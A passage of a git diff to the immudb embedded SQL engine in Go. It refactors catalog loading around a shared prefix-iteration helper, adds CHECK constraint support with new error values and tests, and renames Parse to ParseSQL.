catalog's table count by 1 and continue to the next iteration. - // This implies this is a deleted table and we should not load it. - md := vref.KVMetadata() - if md != nil && md.Deleted() { + if deleted { catlg.maxTableID++ - continue + return nil } - colSpecs, maxColID, err := loadColSpecs(ctx, dbID, tableID, tx, catlg.enginePrefix) + colSpecs, maxColID, err := loadColSpecs(ctx, tableID, tx, catlg.enginePrefix, copyToTx) if err != nil { return err } - v, err := vref.Resolve() + checks, err := loadCheckConstraints(ctx, dbID, tableID, tx, catlg.enginePrefix, copyToTx) if err != nil { return err } - table, err := catlg.newTable(string(v), colSpecs, maxColID) + table, err := catlg.newTable(string(value), colSpecs, checks, maxColID) if err != nil { return err } @@ -781,13 +780,13 @@ func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { return ErrCorruptedData } - err = table.loadIndexes(ctx, catlg.enginePrefix, tx) - if err != nil { - return err + if copyToTx { + if err := tx.Set(key, nil, value); err != nil { + return err + } } - } - - return nil + return table.loadIndexes(ctx, catlg.enginePrefix, tx, copyToTx) + }) } func loadMaxPK(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { @@ -810,108 +809,86 @@ func loadMaxPK(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, table return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) } -func loadColSpecs(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs map[uint32]*ColSpec, maxColID uint32, err error) { - initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) +func loadColSpecs(ctx context.Context, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, copyToTx bool) (map[uint32]*ColSpec, uint32, error) { + prefix := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) - dbReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - } + var maxColID uint32 + specs := make(map[uint32]*ColSpec) - colSpecReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return nil, 0, err - } - defer colSpecReader.Close() - - specs = make(map[uint32]*ColSpec, 0) - - for { - mkey, vref, err := colSpecReader.Read(ctx) - if errors.Is(err, store.ErrNoMoreEntries) { - break - } - if err != nil { - return nil, 0, err + err := iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { + if deleted { + maxColID++ + return nil } - md := vref.KVMetadata() - if md != nil && md.IsExpirable() { - return nil, 0, ErrBrokenCatalogColSpecExpirable - } - - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) + colSpec, colID, err := loadColSpec(sqlPrefix, key, value, tableID) if err != nil { - return nil, 0, err - } - - if dbID != mdbID || tableID != mtableID { - return nil, 0, ErrCorruptedData + return err } - if colID != maxColID+1 { - return nil, 0, fmt.Errorf("%w: table columns not stored sequentially", ErrCorruptedData) - } + maxColID++ - maxColID = colID + specs[colID] = colSpec - if md != nil && md.Deleted() { - continue + if copyToTx { + return tx.Set(key, nil, value) } + return nil + }) + return specs, maxColID, err +} - v, err := vref.Resolve() - if err != nil { - return nil, 0, err - } +func loadColSpec(sqlPrefix, key, value []byte, tableID uint32) (*ColSpec, uint32, error) { + if len(value) < 6 { + return nil, 0, ErrCorruptedData + } - if len(v) < 6 { - return nil, 0, fmt.Errorf("%w: mismatch on database or table ids", ErrCorruptedData) - } + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, key) + if err != nil { + return nil, 0, err + } - specs[colID] = &ColSpec{ - colName: string(v[5:]), - colType: colType, - maxLen: int(binary.BigEndian.Uint32(v[1:])), - autoIncrement: v[0]&autoIncrementFlag != 0, - notNull: v[0]&nullableFlag != 0, - } + if mdbID != 1 || tableID != mtableID { + return nil, 0, ErrCorruptedData } - return specs, maxColID, nil + return &ColSpec{ + colName: string(value[5:]), + colType: colType, + maxLen: int(binary.BigEndian.Uint32(value[1:])), + autoIncrement: value[0]&autoIncrementFlag != 0, + notNull: value[0]&nullableFlag != 0, + }, colID, nil } -func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) - - idxReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - } +func loadCheckConstraints(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, copyToTx bool) (map[string]CheckConstraint, error) { + prefix := MapKey(sqlPrefix, catalogCheckPrefix, EncodeID(dbID), EncodeID(tableID)) + checks := make(map[string]CheckConstraint) - idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) - if err != nil { - return err - } - defer idxSpecReader.Close() - - for { - mkey, vref, err := idxSpecReader.Read(ctx) - if errors.Is(err, store.ErrNoMoreEntries) { - break + err := iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { + if deleted { + return nil } + + check, err := parseCheckConstraint(sqlPrefix, key, value) if err != nil { return err } + checks[check.name] = *check - // Retrieve the key-value metadata (KVMetadata) of the current version reference (vref). - // If the metadata is not nil and the "Deleted" flag of the metadata is set to true, - // increment the catalog's index count by 1 and continue to the next iteration. - // This implies this is a deleted index and we should not load it. - md := vref.KVMetadata() - if md != nil && md.Deleted() { - table.maxIndexID++ - continue + if copyToTx { + return tx.Set(key, nil, value) } + return nil + }) + return checks, err +} - dbID, tableID, indexID, err := unmapIndex(sqlPrefix, mkey) +func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, copyToTx bool) error { + prefix := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) + + return iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { + dbID, tableID, indexID, err := unmapIndex(sqlPrefix, key) if err != nil { return err } @@ -920,42 +897,44 @@ func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store return ErrCorruptedData } - v, err := vref.Resolve() - if err != nil { - return err + if deleted { + table.maxIndexID++ + return nil } - // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} - colSpecLen := EncIDLen + 1 + if copyToTx { + if err := tx.Set(key, nil, value); err != nil { + return err + } + } else { + // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} + colSpecLen := EncIDLen + 1 + if len(value) < 1+colSpecLen || len(value)%colSpecLen != 1 { + return ErrCorruptedData + } - if len(v) < 1+colSpecLen || len(v)%colSpecLen != 1 { - return ErrCorruptedData - } + var colIDs []uint32 + for i := 1; i < len(value); i += colSpecLen { + colID := binary.BigEndian.Uint32(value[i:]) - var colIDs []uint32 + // TODO: currently only ASC order is supported + if value[i+EncIDLen] != 0 { + return ErrCorruptedData + } + colIDs = append(colIDs, colID) + } - for i := 1; i < len(v); i += colSpecLen { - colID := binary.BigEndian.Uint32(v[i:]) + index, err := table.newIndex(value[0] > 0, colIDs) + if err != nil { + return err + } - // TODO: currently only ASC order is supported - if v[i+EncIDLen] != 0 { + if indexID != index.id { return ErrCorruptedData } - - colIDs = append(colIDs, colID) - } - - index, err := table.newIndex(v[0] > 0, colIDs) - if err != nil { - return err - } - - if indexID != index.id { - return ErrCorruptedData } - } - - return nil + return nil + }) } func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { @@ -984,6 +963,39 @@ func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { return } +func unmapCheckID(prefix, mkey []byte) (uint32, error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogCheckPrefix)) + if err != nil { + return 0, err + } + + if len(encID) < 3*EncIDLen { + return 0, ErrCorruptedData + } + return binary.BigEndian.Uint32(encID[2*EncIDLen:]), nil +} + +func parseCheckConstraint(prefix, key, value []byte) (*CheckConstraint, error) { + id, err := unmapCheckID(prefix, key) + if err != nil { + return nil, err + } + + nameLen := value[0] + 1 + name := string(value[1 : 1+nameLen]) + + exp, err := ParseExpFromString(string(value[1+nameLen:])) + if err != nil { + return nil, err + } + + return &CheckConstraint{ + id: id, + name: name, + exp: exp, + }, nil +} + func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) { encID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix)) if err != nil { @@ -1612,194 +1624,49 @@ func decodeValue(b []byte, colType SQLValueType, nullable bool) (TypedValue, int return nil, 0, ErrCorruptedData } -// addSchemaToTx adds the schema to the ongoing transaction. -func (t *Table) addIndexesToTx(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(t.id)) - - idxReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - } - - idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) - if err != nil { - return err - } - defer idxSpecReader.Close() - - for { - mkey, vref, err := idxSpecReader.Read(ctx) - if errors.Is(err, store.ErrNoMoreEntries) { - break - } - if err != nil { - return err - } - - dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey) - if err != nil { - return err - } - - if t.id != tableID || dbID != 1 { - return ErrCorruptedData - } - - v, err := vref.Resolve() - if err == io.EOF { - continue - } - if err != nil { - return err - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return err - } - } - - return nil -} - // addSchemaToTx adds the schema of the catalog to the given transaction. -func (catlg *Catalog) addSchemaToTx(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), - } - - tableReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer tableReader.Close() - - for { - mkey, vref, err := tableReader.Read(ctx) - if errors.Is(err, store.ErrNoMoreEntries) { - break - } - if err != nil { - return err - } - - dbID, tableID, err := unmapTableID(sqlPrefix, mkey) - if err != nil { - return err - } - - if dbID != 1 { - return ErrCorruptedData - } - - // read col specs into tx - colSpecs, maxColID, err := addColSpecsToTx(ctx, tx, sqlPrefix, tableID) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err == io.EOF { - continue - } - if err != nil { - return err - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return err - } - - table, err := catlg.newTable(string(v), colSpecs, maxColID) - if err != nil { - return err - } - - if tableID != table.id { - return ErrCorruptedData - } - - // read index specs into tx - err = table.addIndexesToTx(ctx, sqlPrefix, tx) - if err != nil { - return err - } - - } - - return nil +func (catlg *Catalog) addSchemaToTx(ctx context.Context, tx *store.OngoingTx) error { + return catlg.loadCatalog(ctx, tx, true) } -// addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(ctx context.Context, tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs map[uint32]*ColSpec, maxColID uint32, err error) { - initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) - +func iteratePrefix(ctx context.Context, tx *store.OngoingTx, prefix []byte, onSpec func(key, value []byte, deleted bool) error) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, + Prefix: prefix, } colSpecReader, err := tx.NewKeyReader(dbReaderSpec) if err != nil { - return nil, 0, err + return err } defer colSpecReader.Close() - specs = make(map[uint32]*ColSpec, 0) - for { mkey, vref, err := colSpecReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { - return nil, 0, err + return err } md := vref.KVMetadata() if md != nil && md.IsExpirable() { - return nil, 0, ErrBrokenCatalogColSpecExpirable - } - - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) - if err != nil { - return nil, 0, err - } - - if mdbID != 1 || tableID != mtableID { - return nil, 0, ErrCorruptedData - } - - if colID != maxColID+1 { - return nil, 0, fmt.Errorf("%w: table columns not stored sequentially", ErrCorruptedData) + return ErrBrokenCatalogColSpecExpirable } - maxColID = colID - - if md != nil && md.Deleted() { - continue - } - - v, err := vref.Resolve() - if err != nil { - return nil, 0, err - } - if len(v) < 6 { - return nil, 0, ErrCorruptedData + deleted := md != nil && md.Deleted() + var v []byte + if !deleted { + v, err = vref.Resolve() + if err != nil { + return err + } } - err = tx.Set(mkey, nil, v) + err = onSpec(mkey, v, deleted) if err != nil { - return nil, 0, err - } - - specs[colID] = &ColSpec{ - colName: string(v[5:]), - colType: colType, - maxLen: int(binary.BigEndian.Uint32(v[1:])), - autoIncrement: v[0]&autoIncrementFlag != 0, - notNull: v[0]&nullableFlag != 0, + return err } } - - return specs, maxColID, nil + return nil } diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 9c812f1da2..4fe79fafba 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -40,25 +40,25 @@ func TestFromEmptyCatalog(t *testing.T) { _, err = db.GetTableByName("table1") require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = db.newTable("", nil, 0) + _, err = db.newTable("", nil, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.newTable("table1", nil, 0) + _, err = db.newTable("table1", nil, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.newTable("table1", map[uint32]*ColSpec{}, 0) + _, err = db.newTable("table1", map[uint32]*ColSpec{}, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, 2: {colName: "id", colType: IntegerType}, - }, 2) + }, nil, 2) require.ErrorIs(t, err, ErrDuplicatedColumn) table, err := db.newTable("table1", map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, 2: {colName: "title", colType: IntegerType}, - }, 2) + }, nil, 2) require.NoError(t, err) require.Equal(t, "table1", table.Name()) @@ -85,7 +85,7 @@ func TestFromEmptyCatalog(t *testing.T) { _, err = db.newTable("table1", map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, 2: {colName: "title", colType: IntegerType}, - }, 2) + }, nil, 2) require.ErrorIs(t, err, ErrTableAlreadyExists) indexed, err := table.IsIndexed("id") @@ -189,7 +189,7 @@ func TestCatalogTableLength(t *testing.T) { for _, v := range []string{"table1", "table2", "table3"} { _, err := catlog.newTable(v, map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, - }, 1) + }, nil, 1) require.ErrorIs(t, err, ErrTableAlreadyExists) } require.Equal(t, totalTablesCount, catlog.maxTableID) @@ -204,8 +204,7 @@ func TestCatalogTableLength(t *testing.T) { for _, v := range []string{"table4", "table5", "table6"} { _, err := catlog.newTable(v, map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, - }, 1, - ) + }, nil, 1) require.NoError(t, err) } require.Equal(t, totalTablesCount+3, catlog.maxTableID) @@ -296,7 +295,7 @@ func TestCatalogTableLength(t *testing.T) { PRIMARY KEY(id) ) ` - stmts, err := Parse(strings.NewReader(sql)) + stmts, err := ParseSQL(strings.NewReader(sql)) require.NoError(t, err) require.Equal(t, 1, len(stmts)) stmt := stmts[0] diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index ba33f73d9b..b7bd51e39d 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -26,76 +26,84 @@ import ( "github.com/codenotary/immudb/embedded/store" ) -var ErrNoSupported = errors.New("not supported") -var ErrIllegalArguments = store.ErrIllegalArguments -var ErrMultiIndexingNotEnabled = fmt.Errorf("%w: multi-indexing must be enabled", store.ErrIllegalState) -var ErrParsingError = errors.New("parsing error") -var ErrDDLorDMLTxOnly = errors.New("transactions can NOT combine DDL and DML statements") -var ErrUnspecifiedMultiDBHandler = fmt.Errorf("%w: unspecified multidbHanlder", store.ErrIllegalState) -var ErrDatabaseDoesNotExist = errors.New("database does not exist") -var ErrDatabaseAlreadyExists = errors.New("database already exists") -var ErrTableAlreadyExists = errors.New("table already exists") -var ErrTableDoesNotExist = errors.New("table does not exist") -var ErrColumnDoesNotExist = errors.New("column does not exist") -var ErrColumnAlreadyExists = errors.New("column already exists") -var ErrCantDropIndexedColumn = errors.New("can not drop indexed column") -var ErrSameOldAndNewNames = errors.New("same old and new names") -var ErrColumnNotIndexed = errors.New("column is not indexed") -var ErrFunctionDoesNotExist = errors.New("function does not exist") -var ErrLimitedKeyType = errors.New("indexed key of unsupported type or exceeded length") -var ErrLimitedAutoIncrement = errors.New("only INTEGER single-column primary keys can be set as auto incremental") -var ErrLimitedMaxLen = errors.New("only VARCHAR and BLOB types support max length") -var ErrDuplicatedColumn = errors.New("duplicated column") -var ErrInvalidColumn = errors.New("invalid column") -var ErrReservedWord = errors.New("reserved word") -var ErrPKCanNotBeNull = errors.New("primary key can not be null") -var ErrPKCanNotBeUpdated = errors.New("primary key can not be updated") -var ErrNotNullableColumnCannotBeNull = errors.New("not nullable column can not be null") -var ErrNewColumnMustBeNullable = errors.New("new column must be nullable") -var ErrIndexAlreadyExists = errors.New("index already exists") -var ErrMaxNumberOfColumnsInIndexExceeded = errors.New("number of columns in multi-column index exceeded") -var ErrIndexNotFound = errors.New("index not found") -var ErrCannotIndexJson = errors.New("cannot index column of type json") -var ErrInvalidNumberOfValues = errors.New("invalid number of values provided") -var ErrInvalidValue = errors.New("invalid value provided") -var ErrInferredMultipleTypes = errors.New("inferred multiple types") -var ErrExpectingDQLStmt = errors.New("illegal statement. DQL statement expected") -var ErrColumnMustAppearInGroupByOrAggregation = errors.New("must appear in the group by clause or be used in an aggregated function") -var ErrIllegalMappedKey = errors.New("error illegal mapped key") -var ErrCorruptedData = store.ErrCorruptedData -var ErrBrokenCatalogColSpecExpirable = fmt.Errorf("%w: catalog column entry set as expirable", ErrCorruptedData) -var ErrNoMoreRows = store.ErrNoMoreEntries -var ErrInvalidTypes = errors.New("invalid types") -var ErrUnsupportedJoinType = errors.New("unsupported join type") -var ErrInvalidCondition = errors.New("invalid condition") -var ErrHavingClauseRequiresGroupClause = errors.New("having clause requires group clause") -var ErrNotComparableValues = errors.New("values are not comparable") -var ErrNumericTypeExpected = errors.New("numeric type expected") -var ErrUnexpected = errors.New("unexpected error") -var ErrMaxKeyLengthExceeded = errors.New("max key length exceeded") -var ErrMaxLengthExceeded = errors.New("max length exceeded") -var ErrColumnIsNotAnAggregation = errors.New("column is not an aggregation") -var ErrLimitedCount = errors.New("only unbounded counting is supported i.e. COUNT(*)") -var ErrTxDoesNotExist = errors.New("tx does not exist") -var ErrNestedTxNotSupported = errors.New("nested tx are not supported") -var ErrNoOngoingTx = errors.New("no ongoing transaction") -var ErrNonTransactionalStmt = errors.New("non transactional statement") -var ErrDivisionByZero = errors.New("division by zero") -var ErrMissingParameter = errors.New("missing parameter") -var ErrUnsupportedParameter = errors.New("unsupported parameter") -var ErrDuplicatedParameters = errors.New("duplicated parameters") -var ErrLimitedIndexCreation = errors.New("unique index creation is only supported on empty tables") -var ErrTooManyRows = errors.New("too many rows") -var ErrAlreadyClosed = store.ErrAlreadyClosed -var ErrAmbiguousSelector = errors.New("ambiguous selector") -var ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) -var ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") -var ErrInvalidTxMetadata = errors.New("invalid transaction metadata") +var ( + ErrNoSupported = errors.New("not supported") + ErrIllegalArguments = store.ErrIllegalArguments + ErrMultiIndexingNotEnabled = fmt.Errorf("%w: multi-indexing must be enabled", store.ErrIllegalState) + ErrParsingError = errors.New("parsing error") + ErrDDLorDMLTxOnly = errors.New("transactions can NOT combine DDL and DML statements") + ErrUnspecifiedMultiDBHandler = fmt.Errorf("%w: unspecified multidbHanlder", store.ErrIllegalState) + ErrDatabaseDoesNotExist = errors.New("database does not exist") + ErrDatabaseAlreadyExists = errors.New("database already exists") + ErrTableAlreadyExists = errors.New("table already exists") + ErrTableDoesNotExist = errors.New("table does not exist") + ErrColumnDoesNotExist = errors.New("column does not exist") + ErrColumnAlreadyExists = errors.New("column already exists") + ErrCannotDropColumn = errors.New("cannot drop column") + ErrSameOldAndNewNames = errors.New("same old and new names") + ErrColumnNotIndexed = errors.New("column is not indexed") + ErrFunctionDoesNotExist = errors.New("function does not exist") + ErrLimitedKeyType = errors.New("indexed key of unsupported type or exceeded length") + ErrLimitedAutoIncrement = errors.New("only INTEGER single-column primary keys can be set as auto incremental") + ErrLimitedMaxLen = errors.New("only VARCHAR and BLOB types support max length") + ErrDuplicatedColumn = errors.New("duplicated column") + ErrInvalidColumn = errors.New("invalid column") + ErrInvalidCheckConstraint = errors.New("invalid check constraint") + ErrCheckConstraintViolation = errors.New("check constraint violation") + ErrReservedWord = errors.New("reserved word") + ErrPKCanNotBeNull = errors.New("primary key can not be null") + ErrPKCanNotBeUpdated = errors.New("primary key can not be updated") + ErrNotNullableColumnCannotBeNull = errors.New("not nullable column can not be null") + ErrNewColumnMustBeNullable = errors.New("new column must be nullable") + ErrIndexAlreadyExists = errors.New("index already exists") + ErrMaxNumberOfColumnsInIndexExceeded = errors.New("number of columns in multi-column index exceeded") + ErrIndexNotFound = errors.New("index not found") + ErrConstraintNotFound = errors.New("constraint not found") + ErrInvalidNumberOfValues = errors.New("invalid number of values provided") + ErrInvalidValue = errors.New("invalid value provided") + ErrInferredMultipleTypes = errors.New("inferred multiple types") + ErrExpectingDQLStmt = errors.New("illegal statement. DQL statement expected") + ErrColumnMustAppearInGroupByOrAggregation = errors.New("must appear in the group by clause or be used in an aggregated function") + ErrIllegalMappedKey = errors.New("error illegal mapped key") + ErrCorruptedData = store.ErrCorruptedData + ErrBrokenCatalogColSpecExpirable = fmt.Errorf("%w: catalog column entry set as expirable", ErrCorruptedData) + ErrBrokenCatalogCheckConstraintExpirable = fmt.Errorf("%w: catalog check constraint set as expirable", ErrCorruptedData) + ErrNoMoreRows = store.ErrNoMoreEntries + ErrInvalidTypes = errors.New("invalid types") + ErrUnsupportedJoinType = errors.New("unsupported join type") + ErrInvalidCondition = errors.New("invalid condition") + ErrHavingClauseRequiresGroupClause = errors.New("having clause requires group clause") + ErrNotComparableValues = errors.New("values are not comparable") + ErrNumericTypeExpected = errors.New("numeric type expected") + ErrUnexpected = errors.New("unexpected error") + ErrMaxKeyLengthExceeded = errors.New("max key length exceeded") + ErrMaxLengthExceeded = errors.New("max length exceeded") + ErrColumnIsNotAnAggregation = errors.New("column is not an aggregation") + ErrLimitedCount = errors.New("only unbounded counting is supported i.e. COUNT(*)") + ErrTxDoesNotExist = errors.New("tx does not exist") + ErrNestedTxNotSupported = errors.New("nested tx are not supported") + ErrNoOngoingTx = errors.New("no ongoing transaction") + ErrNonTransactionalStmt = errors.New("non transactional statement") + ErrDivisionByZero = errors.New("division by zero") + ErrMissingParameter = errors.New("missing parameter") + ErrUnsupportedParameter = errors.New("unsupported parameter") + ErrDuplicatedParameters = errors.New("duplicated parameters") + ErrLimitedIndexCreation = errors.New("unique index creation is only supported on empty tables") + ErrTooManyRows = errors.New("too many rows") + ErrAlreadyClosed = store.ErrAlreadyClosed + ErrAmbiguousSelector = errors.New("ambiguous selector") + ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) + ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") + ErrCannotIndexJson = errors.New("cannot index column of type JSON") + ErrInvalidTxMetadata = errors.New("invalid transaction metadata") +) var MaxKeyLen = 512 -const EncIDLen = 4 -const EncLenLen = 4 +const ( + EncIDLen = 4 + EncLenLen = 4 +) const MaxNumberOfColumnsInIndex = 8 @@ -380,7 +388,7 @@ func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { } func (e *Engine) Exec(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { - stmts, err := Parse(strings.NewReader(sql)) + stmts, err := ParseSQL(strings.NewReader(sql)) if err != nil { return nil, nil, fmt.Errorf("%w: %v", ErrParsingError, err) } @@ -520,7 +528,7 @@ func (e *Engine) queryAll(ctx context.Context, tx *SQLTx, sql string, params map } func (e *Engine) Query(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (RowReader, error) { - stmts, err := Parse(strings.NewReader(sql)) + stmts, err := ParseSQL(strings.NewReader(sql)) if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) } @@ -594,7 +602,7 @@ func (e *Engine) Catalog(ctx context.Context, tx *SQLTx) (catalog *Catalog, err } func (e *Engine) InferParameters(ctx context.Context, tx *SQLTx, sql string) (params map[string]SQLValueType, err error) { - stmts, err := Parse(strings.NewReader(sql)) + stmts, err := ParseSQL(strings.NewReader(sql)) if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) } @@ -654,7 +662,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error catalog := newCatalog(e.prefix) - err := catalog.addSchemaToTx(ctx, e.prefix, tx) + err := catalog.addSchemaToTx(ctx, tx) if err != nil { return err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index dc24ea724e..2b47d77eb9 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -152,6 +152,9 @@ func TestCreateTable(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS balances (id INTEGER, balance FLOAT, CHECK (balance + id) >= 0, PRIMARY KEY id)", nil) + require.NoError(t, err) } func TestTimestampType(t *testing.T) { @@ -1373,13 +1376,13 @@ func TestAlterTableDropColumn(t *testing.T) { t.Run("fail to drop indexed columns", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN id", nil) - require.ErrorIs(t, err, ErrCantDropIndexedColumn) + require.ErrorIs(t, err, ErrCannotDropColumn) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN name", nil) - require.ErrorIs(t, err, ErrCantDropIndexedColumn) + require.ErrorIs(t, err, ErrCannotDropColumn) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN surname", nil) - require.ErrorIs(t, err, ErrCantDropIndexedColumn) + require.ErrorIs(t, err, ErrCannotDropColumn) }) t.Run("fail to drop columns that does not exist", func(t *testing.T) { @@ -2870,7 +2873,7 @@ func TestJSON(t *testing.T) { require.Len(t, rows, n/2) for i, row := range rows { - usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->usr")].RawValue().(map[string]interface{}) + usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->'usr'")].RawValue().(map[string]interface{}) require.Equal(t, map[string]interface{}{ "name": fmt.Sprintf("name%d", (2*i + 1)), @@ -2954,7 +2957,7 @@ func TestJSON(t *testing.T) { require.Len(t, rows, n) for i, row := range rows { - usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->usr")].RawValue().(map[string]interface{}) + usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->'usr'")].RawValue().(map[string]interface{}) name, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "name")].RawValue().(string) age, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "age")].RawValue().(float64) city, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "city")].RawValue().(string) @@ -3124,7 +3127,7 @@ func TestJSON(t *testing.T) { ` CREATE TABLE test ( json_data JSON NOT NULL, - + PRIMARY KEY(json_data) )`, nil) require.ErrorIs(t, err, ErrCannotIndexJson) @@ -5796,7 +5799,7 @@ func TestInferParameters(t *testing.T) { require.NoError(t, err) require.Len(t, params, 0) - pstmt, err := Parse(strings.NewReader(stmt)) + pstmt, err := ParseSQL(strings.NewReader(stmt)) require.NoError(t, err) require.Len(t, pstmt, 1) @@ -5902,7 +5905,7 @@ func TestInferParameters(t *testing.T) { func TestInferParametersPrepared(t *testing.T) { engine := setupCommonTest(t) - stmts, err := Parse(strings.NewReader("CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)")) + stmts, err := ParseSQL(strings.NewReader("CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)")) require.NoError(t, err) require.Len(t, stmts, 1) @@ -7269,7 +7272,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, ` CREATE TABLE mytable1(id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR[256], PRIMARY KEY id); - + CREATE TABLE mytable2(id INTEGER NOT NULL, name VARCHAR[100], active BOOLEAN, PRIMARY KEY id); `, nil) require.NoError(t, err) @@ -7279,7 +7282,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx, ` CREATE INDEX ON mytable1(title); - + CREATE INDEX ON mytable2(name); CREATE UNIQUE INDEX ON mytable2(name, active); `, nil) @@ -8513,6 +8516,136 @@ func (t *BrokenCatalogTestSuite) TestErrorDroppedPrimaryIndexColumn() { t.Require().ErrorIs(err, ErrColumnDoesNotExist) } +func TestCheckConstraints(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, DefaultOptions()) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + `CREATE TABLE table_with_checks ( + id INTEGER AUTO_INCREMENT, + account VARCHAR, + in_balance FLOAT, + out_balance FLOAT, + balance FLOAT, + metadata JSON, + + CONSTRAINT metadata_check CHECK metadata->'usr' IS NOT NULL, + CHECK (account IS NULL) OR (account LIKE '^account_.*'), + CONSTRAINT 